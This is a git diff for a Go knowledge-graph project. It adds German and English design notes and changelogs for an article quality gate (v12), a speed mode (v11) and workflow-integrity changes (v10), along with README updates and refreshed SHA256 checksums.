diff --git a/ARTICLE-QUALITY-GATE-V12.md b/ARTICLE-QUALITY-GATE-V12.md new file mode 100644 index 0000000..24a745e --- /dev/null +++ b/ARTICLE-QUALITY-GATE-V12.md @@ -0,0 +1,146 @@ +# Article Quality Gate v12 + +## Ziel + +v12 korrigiert einen systematischen False-Negative-Fehler des modellfreien Artikel-Quality-Gates aus v8-v11. In `brain-analysis(21)` erreichten sechs autonome v10-Artikel den CPU-Checker. Vier Erstfassungen waren bereits 620-823 Wörter lang, hatten acht Abschnitte und nutzten 89-100 % der bereitgestellten Quellen, wurden aber ausschließlich wegen `low_evidence_alignment` vor dem Qwen-Claim-Review verworfen. + +## Root Cause + +`lexical-coverage-depth-v1` gewichtete bei der IDF-artigen Alignment-Berechnung Begriffe, die in **keiner** Quelle vorkamen, stärker als häufige Evidenzbegriffe. Für einen deutsch formulierten Syntheseartikel war das ungeeignet: + +- Paraphrasen erzeugen legitime neue Formulierungen. +- Flexion und zusammengesetzte deutsche Begriffe senken exakte Token-Ueberschneidung. +- Ueberschriften und erklaerender Kontext stehen nicht zwingend woertlich in Quellen. +- Ein Artikel ueber mehrere Quellen muss verbinden und erklaeren, nicht Quelltext kopieren. + +Damit wurde ein lexikalischer Aehnlichkeitswert faelschlich wie ein semantischer Grounding-Beweis behandelt. + +## Neue Verantwortungsgrenze + +Der CPU-Layer bleibt ein harter, modellfreier **Struktur-/Dichte-Checker**. + +Er darf weiterhin hart ablehnen bei: + +- `article_too_short` +- `insufficient_section_depth` +- `low_source_utilization` +- `high_redundancy` +- `low_information_density` +- `insufficient_operational_structure` +- `insufficient_explanatory_depth` + +`EvidenceAlignment` bleibt messbar, ist ab v12 jedoch **diagnostisch**. Ein niedriger rein lexikalischer Wert darf keine Aussage darueber treffen, ob eine paraphrasierte Behauptung semantisch belegt ist. + +Semantisches Grounding gehoert in die nachfolgende Qwen-Stufe: + +```text +Gemma Author + | + v +CPU Quality v2 +Struktur / Tiefe / Redundanz / Quellennutzung + | + v +Qwen Claim Review +supported / partially supported / unsupported / contradicted + | + v +Qwen Coverage Review + | + v +Final deterministic gates +``` + +## Algorithmus + +Neue Kennung: + +```text +lexical-coverage-depth-v2 +``` + +### Evidence Alignment v2 + +Vorhandene Evidenzbegriffe werden voll gewichtet. Seltene Evidenzbegriffe erhalten nur einen kleinen Bonus. Begriffe, die nicht im Evidenzkorpus vorkommen, erhalten lediglich eine begrenzte Penalty und dominieren nicht mehr den Nenner. + +Technische, in keiner Quelle vorkommende Begriffe werden staerker markiert als normale erklaerende Sprache, bleiben aber ebenfalls nur ein Diagnoseindikator. + +### Score + +Der Score priorisiert jetzt die durch CPU verlaesslicher messbaren Dimensionen: + +- Type/Depth: 30 % +- Source Utilization: 24 % +- Technical Specificity: 14 % +- Lexical Diversity: 12 % +- Evidence Alignment: 10 % +- Non-Redundancy: 10 % + +`Passed` wird nicht mehr durch einen zweiten willkuerlichen Gesamt-Score-Schwellenwert blockiert. Die expliziten Hard Gates entscheiden, ob der Draft zum semantischen Reviewer darf. Der Score bleibt fuer Ranking, Telemetrie und Diagnose erhalten. + +## Regression aus analysis(21) + +Beobachtete v10-Erst-/Revisionswortzahlen: + +| Run | Erstfassung | Revision | v10 | v12 erwarteter CPU-Pfad | +|---|---:|---:|---|---| +| 1 | 631 | 560 | reject: low_evidence_alignment | Erstfassung -> Qwen | +| 2 | 823 | 604 | reject: low_evidence_alignment | Erstfassung -> Qwen | +| 3 | 664 | 456 | reject: low_evidence_alignment | Erstfassung -> Qwen | +| 4 | 564 | 629 | reject: low_evidence_alignment | Revision 629 -> Qwen | +| 5 | 620 | 527 | reject: low_evidence_alignment | Erstfassung -> Qwen | +| 6 | 471 | 438 | reject: too short + alignment | weiterhin reject: too short | + +Der letzte Fall bleibt absichtlich gesperrt. v12 ist keine generelle Lockerung des Qualitaetsniveaus. + +## Monotone CPU-Revision + +`analysis(21)` zeigte ausserdem mehrfach, dass die CPU-angeforderte Revision einen besseren Draft verschlechterte, z. B. 823 -> 604, 664 -> 456 und 631 -> 560 Woerter. + +v12 merkt sich deshalb die beste CPU-bewertete Fassung. Eine schlechtere Revision darf sie nicht mehr still ueberschreiben. Bei einer Regression wird `article.cpu_quality.revision.regressed` emittiert und die bessere Fassung fuer die finale Diagnose behalten. + +Eine Revision, die die Hard Gates wirklich besteht, gewinnt weiterhin immer. + +## Reparaturhinweis fuer zu kurze Artikel + +Bei `article_too_short` fordert der CPU-Layer nun explizit, die vorhandene Substanz **nicht zu kuerzen** und in der Revision einen Puffer oberhalb der harten Mindestwortzahl anzustreben. Die zusaetzliche Laenge muss aus belegten technischen Details kommen; Fülltext bleibt verboten. + +## Pipeline Identity + +Neue Pipeline-ID: + +```text +adaptive_generate_review/v5-quality-gate-v12 +``` + +Damit werden alte Fingerprints nicht mit der korrigierten Gate-Semantik vermischt. + +## Autonomous Runtime Counters + +Autonome Artikelsynthese lief ausserhalb von `EnrichOne`. Deshalb zeigte der Runtime-Status in analysis(21) `articles_skipped=0`, obwohl sechs autonome Drafts verworfen worden waren. + +v12 zaehlt autonome `Created`-/`Skipped`-Outcomes nun ebenfalls in den Prozesszaehlern. Die persistenten Autonomous-Totals bleiben davon getrennt. + +## Agent-Kompatibilitaet + +Der Compute-Kind bleibt: + +```text +article_quality +``` + +Ein bereits laufender aelterer Compute-Agent kann weiterhin bounded Metrics liefern. Das Brain rekonstruiert Pass/Fail und Empfehlungen lokal mit den v12-Regeln. Nach Upgrade des Agenten wird auch die Alignment-Metrik selbst nach v2 berechnet. + +## Keine abgeschwaechten semantischen Gates + +Unveraendert bleiben: + +- Qwen Claim-by-Claim Review +- Unsupported-/Contradicted-Claim-Rejection +- Coverage Review +- Research-Grounding fuer autonome Artikel +- Source-Minimum und Production Ratio +- Artikeltyp-spezifische operative Mindeststruktur +- Final Draft Validation + +v12 entfernt damit keinen Wahrheits-/Grounding-Schutz. Es verhindert lediglich, dass ein lexikalischer CPU-Heuristikwert den semantischen Reviewer ersetzt. diff --git a/CHANGELOG-ARTICLE-QUALITY-GATE-V12.md b/CHANGELOG-ARTICLE-QUALITY-GATE-V12.md new file mode 100644 index 0000000..1bdf70f --- /dev/null +++ b/CHANGELOG-ARTICLE-QUALITY-GATE-V12.md @@ -0,0 +1,26 @@ +# Changelog – Article Quality Gate v12 + +## Fixed + +- `low_evidence_alignment` ist kein harter CPU-Reject mehr. +- Evidence Alignment v1 uebergewichtete source-absent Tokens; v2 verwendet eine begrenzte Penalty. +- CPU `Passed` wird jetzt durch explizite Hard Gates statt zusaetzlicher Score-Schwelle bestimmt. +- CPU-Revisionsregressionen koennen eine bessere Vorfassung nicht mehr still ersetzen. +- zu kurze Drafts erhalten einen revisionsspezifischen Zielpuffer und die Anweisung, vorhandene Substanz nicht zu kuerzen. +- autonome Article-Outcomes aktualisieren `articles_created` / `articles_skipped` im Runtime-Status. + +## Changed + +- Algorithmus: `lexical-coverage-depth-v2`. +- Pipeline-ID: `adaptive_generate_review/v5-quality-gate-v12`. +- CPU-Score gewichtet Tiefe und Source Utilization staerker; Evidence Alignment bleibt diagnostisch. +- `article.cpu_quality.completed` meldet `evidence_alignment_mode=diagnostic_only_semantic_grounding_by_qwen`. +- neues Event `article.cpu_quality.revision.regressed`. + +## Preserved + +- Mindestwortzahlen und Mindestabschnitte. +- Quellennutzungs-Gate. +- Redundanz-/Informationsdichte-Gates. +- How-To/Troubleshooting Steps + Validation. +- Qwen Claim-/Coverage-Review und Research-Grounding. diff --git a/CHANGELOG-SPEED-MODE-V11.md b/CHANGELOG-SPEED-MODE-V11.md new file mode 100644 index 0000000..569a191 --- /dev/null +++ b/CHANGELOG-SPEED-MODE-V11.md @@ -0,0 +1,51 @@ +# Changelog – Speed Mode v11 + +## Neu + +- zentraler Runtime `Speed Mode` +- Dashboard-Quick-Toggle `SPEED` +- `speed_cpu_tasks` (1..256) +- `speed_gpu_tasks` pro Ollama-Node (1..64) +- Eco/Speed gegenseitig exklusiv +- dynamisch resizbarer Shared Work Limiter +- dynamisches Ollama `NodeMaxInflight` +- paralleler deterministischer Vector-Graph-Kern (`Workers`) +- Compute-Agent Burst/Queue-Drain +- leichte `/api/v1/agent/performance`-Policy fuer Live-Umschaltung +- Speed-Wake fuer Source Inbox und Autonomous Research + +## Speed-Pacing + +Bei Speed werden u. a. uebersprungen: + +- AI-THINK 12-s-Startdelay +- AI-THINK Step Delay +- Low-Priority-Yield fuer Background Ollama +- Autonomous Startup Delay / Idle-Only +- Source-Inbox Batch-Pause bei vorhandenem Backlog +- optionaler Vector-Agent Startup-Wait +- Vector-Maintenance 5-s-Startup-Grace +- 55-ms Query-Aktivierungsanimation + +## Nicht veraendert + +- Quality-/Grounding-Gates +- HTTP-/Ollama-Timeouts +- Fehler-Cooldowns +- Graph-/SQLite-Schreibserialisierung +- Autonomous Tagesbudget und semantische Deduplizierung +- Source PollInterval +- Docker Controller Kill-Switch/Policy +- Vector-/Layout-Fachcadence + +## Validierung + +- Runtime-Limiter Resize Regression +- Speed ENV/Range Regression +- Eco-vs-Speed Normalisierung +- dynamischer Ollama-InFlight-Test +- Source-Agent effektive Concurrency +- Speed Performance Apply/Restore +- Single-vs-Multi-Worker VectorGraph Identitaet +- projektweite Typkompilierung und `go vet` in Offline-Compilekopie +- WebUI `node --check` diff --git a/CHANGELOG-WORKFLOW-INTEGRITY-V10.md b/CHANGELOG-WORKFLOW-INTEGRITY-V10.md new file mode 100644 index 0000000..16efada --- /dev/null +++ b/CHANGELOG-WORKFLOW-INTEGRITY-V10.md @@ -0,0 +1,43 @@ +# Changelog – Workflow Integrity v10 + +## Added + +- strict Thinking relation fulltext evidence path (`relation_fulltext_gate_v10`); +- deterministic relation query rebuild when internal node IDs/hashes leak into a planner query or no visible topic anchor is present; +- fail-closed behavior for relations that explicitly require research but obtain no accepted fulltext evidence; +- `think.research.query.rebuilt` and `think.research.insufficient` telemetry; +- semantic Autonomous-Research queue dedupe/merge (`topic-seed-question-jaccard-v1`); +- startup/pre-scan consolidation of redundant queued/deferred autonomous tasks; +- daily-budget-aware opportunity enqueueing that accounts for completed work plus the whole active research queue; +- `daily_budget_exhausted` and `semantic_queue_duplicate` decision reasons; +- one-time operational Article-Type reconsideration to `reference`, `concept`, `decision_guide`, or `skip`; +- `article.type.reconsidered` telemetry; +- independent Vector Maintenance scheduler that continues while Learning is disabled; +- effective layout modes `off`, `relax`, `full`; +- truthful layout telemetry with a separate process-start not-before marker for first relaxation; +- restart-stable persistent Autonomous-Research totals with separate per-process counters. + +## Changed + +- relation research search hits remain ephemeral until an individual fulltext evidence gate passes and the relation itself is accepted; +- accepted relation evidence now stores relevance/source-quality metadata and, where possible, persistent fulltext evidence path/hash; +- Autonomous opportunity scans stop enqueueing when the current UTC-day budget plus active queue is already full; +- semantic duplicate opportunities merge into existing queued tasks instead of creating changed-seed duplicates; +- Article Planner guidance is stricter about when `troubleshooting` and `how_to` are justified; +- an operational draft that still lacks source-grounded steps/validation after research is regenerated under a newly justified type exactly once, never merely relabeled; +- article pipeline identity is now `adaptive_generate_review/v4-quality-routing-v10`; +- adaptive fingerprint includes `topic-guard=strict-v3-relation-evidence`; +- Learning scans no longer own periodic Vector reevaluation/layout cadence; they rebuild vector structure only for actual ingest/embedding changes or a missing vector layer; +- runtime/startup telemetry exposes `vector_graph_layout_mode` and whether relax mode is actually effective. + +## Preserved + +- user-defined Autonomous Research scan interval, including accelerated `10m` test setups; +- existing vector similarity/affinity thresholds; +- operational article structure gates; +- v8 CPU Article Quality and Qwen Claim/Coverage gates; +- v9 Docker Controller behavior and policy boundaries. + +## Validation note + +The project declares Go 1.26 and `modernc.org/sqlite v1.37.1`. The offline validation host provides Go 1.23.2 and cannot download dependencies, so full-package compile/vet validation uses a temporary compile-only SQLite stub in a separate copied tree. The release itself retains the original Go version and real SQLite dependency. SQLite-dependent runtime tests compile but cannot execute against that stub. diff --git a/README.md b/README.md index 6f204de..48636ba 100644 --- a/README.md +++ b/README.md @@ -40,6 +40,10 @@ Details: [`KNOWLEDGE-SYNTHESIS.md`](KNOWLEDGE-SYNTHESIS.md), [`GENERATE-THEN-REV v8 ergänzt einen modellfreien CPU-/Agent-Quality-Layer und eine langsame semantische Layout-Relaxation. Details: [`ARTICLE-QUALITY-CPU-V8.md`](ARTICLE-QUALITY-CPU-V8.md). +v10 haertet Relationsrecherche, Autonomous-Queue, Artikeltyp-Routing und die von Learning entkoppelte Vector-Maintenance. Details: [`WORKFLOW-INTEGRITY-V10.md`](WORKFLOW-INTEGRITY-V10.md). + +v12 korrigiert den modellfreien Artikel-Quality-Gate-Deadlock aus analysis(21): lexikalisches Evidence-Alignment ist diagnostisch, harte Struktur-/Dichte-Gates bleiben erhalten und semantisches Grounding erfolgt im Qwen-Review. Details: [`ARTICLE-QUALITY-GATE-V12.md`](ARTICLE-QUALITY-GATE-V12.md). + ## Schnellstart ```bash @@ -187,6 +191,11 @@ BRAIN_THINKING_SOURCES= BRAIN_DEFAULT_VIEW=neural # neural | honeycomb | constellation BRAIN_MAX_DISPLAY_NODES=0 # 0 = unbegrenzt; alternativ z. B. 5000 BRAIN_LOW_POWER_MODE=false + +# v11: aggressiver Throughput-/Benchmark-Modus. CPU leer = runtime.NumCPU(). +BRAIN_SPEED_MODE=false +BRAIN_SPEED_CPU_TASKS= +BRAIN_SPEED_GPU_TASKS=4 ``` Alte `learning_categories`, `display_categories`, `thinking_categories` und frühere unversionierte Source-Filter werden beim ersten Start dieser Version bewusst ignoriert. Schalter, Ansicht und Performancewerte bleiben erhalten. Beim nächsten Speichern schreibt die WebUI `source_filter_version: 1`. `graph.db` muss dafür nicht gelöscht werden. @@ -233,6 +242,10 @@ Akzeptierte Webbelege werden automatisch gelernt und verknüpft. Neue oder über Details: [`AUTONOMOUS-RESEARCH.md`](AUTONOMOUS-RESEARCH.md). +## Speed Mode v11 + +Mit `BRAIN_SPEED_MODE=true` entfernt das Brain kuenstliche Pacing-Pausen und erhoeht CPU-/GPU-Parallelitaet zur Laufzeit. `BRAIN_SPEED_CPU_TASKS` steuert Compute-/Vector-Worker, `BRAIN_SPEED_GPU_TASKS` das InFlight-Limit **je Ollama-Node**. Der Vector-Graph parallelisiert im Speed-Modus auch seine internen per-Node LSH/Cosine-Phasen. Eco und Speed sind gegenseitig exklusiv. Safety-/Quality-Gates, Fehler-Cooldowns, Timeouts, Graph-/SQLite-Locks, Autonomous-Tagesbudget und Docker-Controller-Policy bleiben aktiv. Details: [`SPEED-MODE-V11.md`](SPEED-MODE-V11.md). + ## Autonome Anreicherung Der Worker arbeitet bewusst sequenziell, trennt aber jetzt zwei Aufgaben: diff --git a/SHA256SUMS.txt b/SHA256SUMS.txt index d3e136e..514ac4d 100644 --- a/SHA256SUMS.txt +++ b/SHA256SUMS.txt @@ -6,6 +6,7 @@ caf5847b0ca972e7701ec23222302ac72de05d20f620d1b0f508efa126f24bfd ./.gitignore 6022669d1201ddee0d8421c2d447e687f0391d4d274a2fb0f8de7254dc7078b9 ./ANALYSIS-DASHBOARD.md e8c73a579feae194a77ee3ce1afd98705cb79570023edb0d6fc43d788a4afc69 ./ARCHITECTURE.md f0cea07d3feb5b7fd0cbec4c667b87350c829de6ac72e674a9522f00ef5a11c5 ./ARTICLE-QUALITY-CPU-V8.md +74e819ae5d418f45bb9b72ce2debde2f1b26873ce98e9d6b410d4d98ad2cae2b ./ARTICLE-QUALITY-GATE-V12.md f46b4faa04bbfafe2278ddcdedc8c9508085eabec3d35559918ddb5d858a547d ./AUTONOMOUS-OPPORTUNITY-SCORING-V5.md 5452b1b94bf6ab5a2e4e19863fe69f9141eb7574bb438348b353e5d2aa2a2376 ./AUTONOMOUS-RESEARCH-QUALITY-V6.md b16744c84ad73e5454d3ef3166ae0c0b3ef4b6cc02e60c6abfa9484b913083c9 ./AUTONOMOUS-RESEARCH-ROUTING-V7.md @@ -14,6 +15,7 @@ f66de3a0a5abba55f42475a1e79bad2129f033b95648f95fafeb9efe5b7716a8 ./CHANGELOG-AD 7aed2194baab0fb66c561446e5f1cd7724c1166bfa3a08c9e59157d1878bf994 ./CHANGELOG-ANALYSIS-DASHBOARD.md 8761351d0f97f77a88b3b11ba707834cde90bd55cf16ea17316ceb49ed9863ee ./CHANGELOG-ANALYSIS-OBSERVABILITY-V2.md 518daa4c734c46e3c063b66d57e8d3a422f5d7ae7f52bef74db58d881bb979b8 ./CHANGELOG-ARTICLE-CREATION-GATES.md +f16ee63afa3166470b9f000568c803ca95070ca418a8621a4f5e8003d5de7099 ./CHANGELOG-ARTICLE-QUALITY-GATE-V12.md 0120b27838cf33a8b138d8129242651dda3ff6cd101734cf8355974d7737f5f9 ./CHANGELOG-ARTICLE-QUALITY-HARDENING.md 00c4c5138f64b89cade6612a12108ba9e95311565b6894d23581c4f279c01aab ./CHANGELOG-ARTICLE-QUALITY-LAYOUT-V8.md 7831005dc51c0235bb66cc97262ae62a0c2f4ca494d2f15ebaf5cea1e589a2ee ./CHANGELOG-AUTONOMOUS-IDLE-WAL-V4.md @@ -48,10 +50,12 @@ fbf686a1acc2de6c4fbb56730a5f87dfdf28d93125fa56ae0c588c29ce492efe ./CHANGELOG-RE e4e5ecd9b322d77b587a4166a8734a8d84b520ad605a1235d0bd5787398932f3 ./CHANGELOG-SOURCE-INBOX-PRIORITY-CLASSIFIER.md 86ae2eaee9cd9d909259448591185d04a70c2c1c8e5f9fa7372ba074e9983276 ./CHANGELOG-SOURCE-INBOX-SECURITY-PROACTIVE.md be9f133ae933bdc0e0a8aa5d176dd3e39488a191337043533379e23d179f3ad2 ./CHANGELOG-SOURCE-ONLY-FILTERS.md +f63f042c5dda2bb52bbed0e4cbc8e17cca2990074a344b4923f39d7e66cc9e13 ./CHANGELOG-SPEED-MODE-V11.md 5433a7c2e67ab35fb320bc872e9024fa5f3e765736184e9f878340b8b45407aa ./CHANGELOG-SQLITE-STARTUP-FIX.md 5b9deeab0cd59b3c649fd73f129361a1e773ed3955cded0048b8cb280bb32e88 ./CHANGELOG-SQLITE-STORAGE.md 9af1ba7139e923db9035b1ab1614e9ef5697055550f977befa741dcfc74ff9c4 ./CHANGELOG-VECTOR-AGENT-V3.md 8a25725802b609eeca3cffe0d0aaebed186d3aed1b1c83c7ddba2c4ee48f6c29 ./CHANGELOG-VECTOR-GRAPH-QUALITY-V2.md +b8f59df9e3e9dee89b2be678a4dbd092f7edb4274cbffd4602d533b196c5530c ./CHANGELOG-WORKFLOW-INTEGRITY-V10.md a7bccc893903d5009ddd86cec156fbfd6887bd1e8fc040ba065c2c812a0345b3 ./CLUSTER-FAST-MODE.md 4291c24ca9fccaac2b739b21ef671be89af1565873be8d359626707bdc439597 ./DOCKER-CONTROLLER-V9.md 97e022b38c4596ce76ecf242d733e01ca4e4097036fdc8c85cfed4c367243cc4 ./Dockerfile @@ -63,11 +67,12 @@ a1aed7c198bc1ffc7af4a8f69ccf137541e4887ce5d59a0d67f2be7216a37dcd ./FILTER-SCOPE 696d2da2338cd8190b9614707e4059d78ce291e7334f273633aad815c3b6a6df ./Makefile e5e9a5268031fee9346462e4631e28ce8c8a8b46a4623e56327a1f310a09f646 ./OLLAMA-POOL.md 2c0062941ef3edbd40d46b823934a7d0a3a9da7581b83d0b9360e8aaa7694b1b ./PERSISTENCE.md -70122643e636bbbe50900072329c967d25fbf971f0115c1882ffe9077d2c8827 ./README.md +10897eb01ac265c33fbe5181d76acbd795f8168ca6fa5cf6a3e066ab19319824 ./README.md 2838cd19ac2bfa35bebbef2541f631b99221b5997bbb6dbc27146a66a3a1ad34 ./RUNTIME-CONTROLS-HONEYCOMB.md c3da43b33e550901d55789f2ee526c2e50f61ee028a3f59e0a40e77e1057fde7 ./SEARXNG-VISUALIZATION.md dc7b5dcb5fcdf506d1855b12c4c35c07d4aae9c613534fa45c20a38ac89c03d6 ./SOURCE-AGENT-MODE.md c69419c0327425186cfb84f25746feff226ce813cf467b3f252e729517455047 ./SOURCE-ONLY-FILTERS.md +267ed485e8a8f6c90086ea5b19b06ada54198a07b1dbd8426eda0385af5a0139 ./SPEED-MODE-V11.md ae7bc1f1959071f79b76ca8a4ba103064ec0d5c5752af346175731ef4f636d9d ./SQLITE-STORAGE.md 706b3912716d565082a44a0e707afd2ad07e4eb17cc23cae75772c1740205276 ./VALIDATION-ADAPTIVE-ARTICLE-WORKFLOW.md b0123b8425993dea7dd3864f930527b6a1a0e965ff29c0e4899620a64cd9451d ./VALIDATION-ANALYSIS-DASHBOARD.md @@ -96,15 +101,16 @@ f46938b5de7e139e1b21868b1bedce6e312d69cd61602b4f8f43512a327dd422 ./VALIDATION-S 9f3c29823eaf604fa334590e92bc45fdd022bb48ed9b295449ef869c41ba56ff ./VECTOR-GRAPH-AGENT-OFFLOAD-V3.md 2b00738524bc8d8e65cd168018f873482c2987655a377805f72dfcc81aad20fc ./VECTOR-GRAPH-EXPERIMENT.md f6699e4cdbaadc720e4b8a22c557d02319325283775a2b8a87ff78ca202e3386 ./VISUALIZATION-PERFORMANCE.md +fe330e6ae2b707e532e23e1da5f329c1e473d7b0d9a0647249978371b2735e54 ./WORKFLOW-INTEGRITY-V10.md d33fbf0ce4b00b22467da5adfa53ad3e0dd061528ed58f4649f6eabfc1157a8b ./cmd/brain/main.go e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./data/.gitkeep 7ad10f51cf26747b4f186c540ecb7c77662f001800f0f7803422d45e8d72a4db ./data/graph.db 587064aa2b583235d2235f4dcff2854b47347d47aef12ce266d56e9da6986843 ./data/runtime-settings.json 21b51d0e1b7ed07c20f7f3a5da76dedab8df44a94a51724b67b0c3411599fe15 ./deployment/README.md 3eeadef2212286fd07609f7867b64af7858d2416f63cc3b385a22989234bef4c ./deployment/docker-compose.controller-agent.yml -1d553bd34d1ca2a367c2aca4186332dd99191ca0860fb615d78d2fdac7fd60f4 ./deployment/docker-compose.full.yml +5049489e55313858801e89c0e1197d5e7a772ee2910e3317ad9557ade7ad431e ./deployment/docker-compose.full.yml a9fa15905220d6a5007bf92aff195f30aa596731c60c601f4d5de0dfc4dccd92 ./deployment/docker-compose.source-agent.yml -b5f5a2933ac516c9511e8ce8f7e96387d77d340a542c70714a33343c95a1e63a ./docker-compose.yml +4ddf98d6277e18918e3018df48407ba6d08d8c760bb9b84d730b7b9437194095 ./docker-compose.yml 1edabd3a7fc60aebaca37fae228a5f34ddbf9ed18478aa1b114204cb956a4027 ./go.mod 864c3376212497b070feca13d26cfc28e96876078ce7a0b5b0c0470e2dd4fbf8 ./go.sum ed7fa0e09e94aa9e89c93b00303d4ce6f0f20dac626ecb91181c3aabc76bc8ff ./integrations/agent/README.md @@ -113,16 +119,17 @@ ed7fa0e09e94aa9e89c93b00303d4ce6f0f20dac626ecb91181c3aabc76bc8ff ./integrations 12f8424f863b13f19aab9c2e6c2828c0ad824a55a62fe336e062db534102bc3a ./integrations/knowledgebase/glpi-ai-knowledgebase-neural-brain.patch 6ab2acda1c1ee07e604f7d1984e9cd120da5616a92ae1a00e1745231115b2cb0 ./internal/activity/broker.go 4d5f26bcf2aff96375d408a67ed1d50bb9c1f5b8ddcf04f0ba4d438997feed8f ./internal/activity/broker_test.go -b68aa429e27add68ea090a01dca64c9e0cee77804e5d3dc22edab776ad0b7440 ./internal/articlequality/articlequality.go -c967839018914431bfe6aead0f14f4535fbed9b9da59d955b75fc31137c1a0cb ./internal/articlequality/articlequality_test.go -e54e9fa812f709b570bd6822a6bea3df28ec591e869151ed8b76f22608e665da ./internal/config/config.go -a6a0665dd61ad662e3fd8616a592d6df0a6d304740aca5712b05047ebdc23b4e ./internal/config/config_test.go +06b2c4f8fc4220d77b1758108e4cf66b3ad6142fe29092d9c625be8b99b1aa7e ./internal/articlequality/articlequality.go +b1621357b6b48d770c1e846a8931af0c33d36c042a13a5d5479fe552a9dce8bd ./internal/articlequality/articlequality_test.go +77fabed1c5c8be0815c44d310f51d6e52868852ac390749a500bd81f29c329e5 ./internal/config/config.go +7be5553cfc1ade969bf571e296bb99c89405a29d2e6a60c6cb081e8ce6fb23d1 ./internal/config/config_test.go 1029c5e6e5f72c4863dc18fdcd120e7fd28321385bf172d26eaf7dc2d580bb68 ./internal/engine/analysis_mutations.go -a3916398375521589f5e611358ff9be4848e714ed29e873658e6ad67a18e2bf7 ./internal/engine/article.go -b0f23ead7e436fb651062fd06d3c5a1671d909bf5b6d9f7160e9f9c40d8cf898 ./internal/engine/article_adaptive.go +98b9aff349a9381bd639efd8d2b6795f770ada6fa0c661473b96c689bd4dbbb0 ./internal/engine/article.go +6eeb5b3a40335aa83b90e6d3c18fb6b629cf88e5501a9ae174949f062a811555 ./internal/engine/article_adaptive.go 2660a4fabf11362aa2335f2322e32300f485a612291fb60f9ca899c5c4e28ad7 ./internal/engine/article_adaptive_test.go 3daa8090548a9f3aeabe2ed24203e8b8bf48b2ae7f364d7f62bd45c9bfcb0c96 ./internal/engine/article_batch.go -4ca9f66ec398678fd039c0020830f95e25bfdcdb52467d1cd5e3213771c961d9 ./internal/engine/article_cpu_quality.go +c8f0edcd9a32bf66844e5d98f820fc66b38a24f3e70cbd68a4909b0c0e7f40e1 ./internal/engine/article_cpu_quality.go +8e471b148b8914e8ba31489d93d87396d49078b935cc7879f4a14a1c22356040 ./internal/engine/article_cpu_quality_v12_test.go f6502f5a7cecfc3361fdce94c7ae0c0df66ae9c18f65113d65cfefe1006f7d06 ./internal/engine/article_format_test.go 77934cde83b3eeb052889cda703f5d0da0bfa12366d05fe9850afcaae7c13a66 ./internal/engine/article_generate_then_review.go 55b6ddb6e88af559ad5df0a6038282c4e9797b3e537bc3418d3e1b707ab78608 ./internal/engine/article_generate_then_review_test.go @@ -131,29 +138,37 @@ f6502f5a7cecfc3361fdce94c7ae0c0df66ae9c18f65113d65cfefe1006f7d06 ./internal/eng c3a2c265d12d6196ebedce027dc78b03292a0fe8a8bfd16ca275621125625039 ./internal/engine/article_research_cache.go 3ca7037231935329d49b6b80553fbfef206c079a6aed4c2379dadd46d39ebc0d ./internal/engine/article_research_cache_test.go e7ba279452721f1f7c5d584272f5a92e9307fccdd1a0240bce79df058e6a1a7c ./internal/engine/article_research_test.go -a6e66b595539095493eca9e8ac3a10ccbf8bc9ea8f25a13a110a98d1e0403bd6 ./internal/engine/autonomous_research.go +1e6359e537f5187a624eae5bf14cdccc8e82530023f4afd8b7ff16827e2330e5 ./internal/engine/article_type_reconsider_v10.go +fc005ca01ac71168f55fbdab67c739e614e20da1b2e08a72da1b2fd36aed34af ./internal/engine/autonomous_queue_v10_test.go +56de31728a851226704e9a1a309435a2f9806952bb06e2004e32eb6be9cf2a93 ./internal/engine/autonomous_research.go 9beffbd35ffa8a3e3d3016e98b6c33312f461aa0e8e291a160e16f5f25fde72c ./internal/engine/autonomous_research_test.go 38e774b648e2ca2be929bc2abdd94313cb3c58eb6becac25ab521c66b39f11bb ./internal/engine/controller.go -8c6066cd6e8142f49c1a49dfbfeac9e7e46eac04c5f5bbf7f207623f91aa27c7 ./internal/engine/engine.go +0e2cf9659b25b57a67b6e12fee2f9ef932c61197aa27d5473528e02f22f75b76 ./internal/engine/engine.go 5d67b99070671f3aeb3aa45a4533d437e12286f8f5299283006fce649ac5e44b ./internal/engine/engine_test.go +20a8bbce5e8f9883a1814f1d3fad2193f0f5ddbd5c8fcdd4fcb824c0da8ddf2a ./internal/engine/relation_research_v10.go +a9e1de45d371c4e23eeed0ccbbbc77f8e4470727842b921753ff4ac935e19442 ./internal/engine/relation_research_v10_test.go 2038a3909b147a630e361faae3f5c1cc22218d0f1336c91d4c1b795c52665e9b ./internal/engine/research_diagnostics.go 0eb3f00e2ab73d2dc6a4cbc1a4038533a4bb20fbbbb6190abd39feff6b34b8e1 ./internal/engine/research_diagnostics_test.go c72e3f5daa6cfa1c4ee01f4c8fe38a6bc26bd8baeb66668d7b412b945cfb1f96 ./internal/engine/research_events.go -759761d974b53fae97548e9f6ce14d78e559aff091694ae446328d32db6efcc2 ./internal/engine/research_work.go +d66979cf64ac1800ed1a930a95cf3375700bd7c2e19244e6bec5b4802b63ded4 ./internal/engine/research_work.go 87a96d4a68e8e19bc15e787efa6d24fee3ae483aeb49910c6dd699a108d0a594 ./internal/engine/research_work_test.go -4788163f25060322da85597f6cf5d4881463497ca9a9ddfbefaf5a3a3d985adf ./internal/engine/runtime.go -02809a7dbbf10bdc086316314c57ddd4f20f7b7f1dffbb82fc9cc8927560a2b7 ./internal/engine/runtime_filter_test.go -b74275f736f3a704b461a2e182603e7ce77a0f1732809ec66f1341f38f534354 ./internal/engine/source_inbox.go +d1c86d63fbd6d7ecbc96a015f706c3e2070c99d7a4754e2bb555163d43fbe20c ./internal/engine/runtime.go +09cbdab92598eab7764e16f62567fecae147272a3084cef7a1b35c67e2a3a0e7 ./internal/engine/runtime_filter_test.go +641c33e6775f176dbabe9057676f40b0c22861a978d0dc75d4af388ed68c53cd ./internal/engine/source_inbox.go f6e2904aa232d0882cc15d589384bcbba02241cedcb200df218696dc51f179c0 ./internal/engine/source_inbox_test.go -d251779f4bcee6d65a4af93b257ef52fa2d14dc39e8b9c1920bb5b7f8c8b1406 ./internal/engine/vector_graph.go +d39b7527e4a85cf2e47af23cde866a0ac5ea495a11c57c65311de784c4000c41 ./internal/engine/speed_mode.go +4174256fa35b32d3585e20a09fefb3da2188a77195e884056dda0d1fdbd7906b ./internal/engine/speed_mode_test.go +7b7fc662acfbd734bfd40080a71a3b2efb97e0315b01e9c9d3a641f92d1784b7 ./internal/engine/vector_graph.go 4e32a2bd05da7ec90d792e38d59fc84962624072bf3af0dfcb9e318d3074e6b4 ./internal/engine/vector_graph_test.go 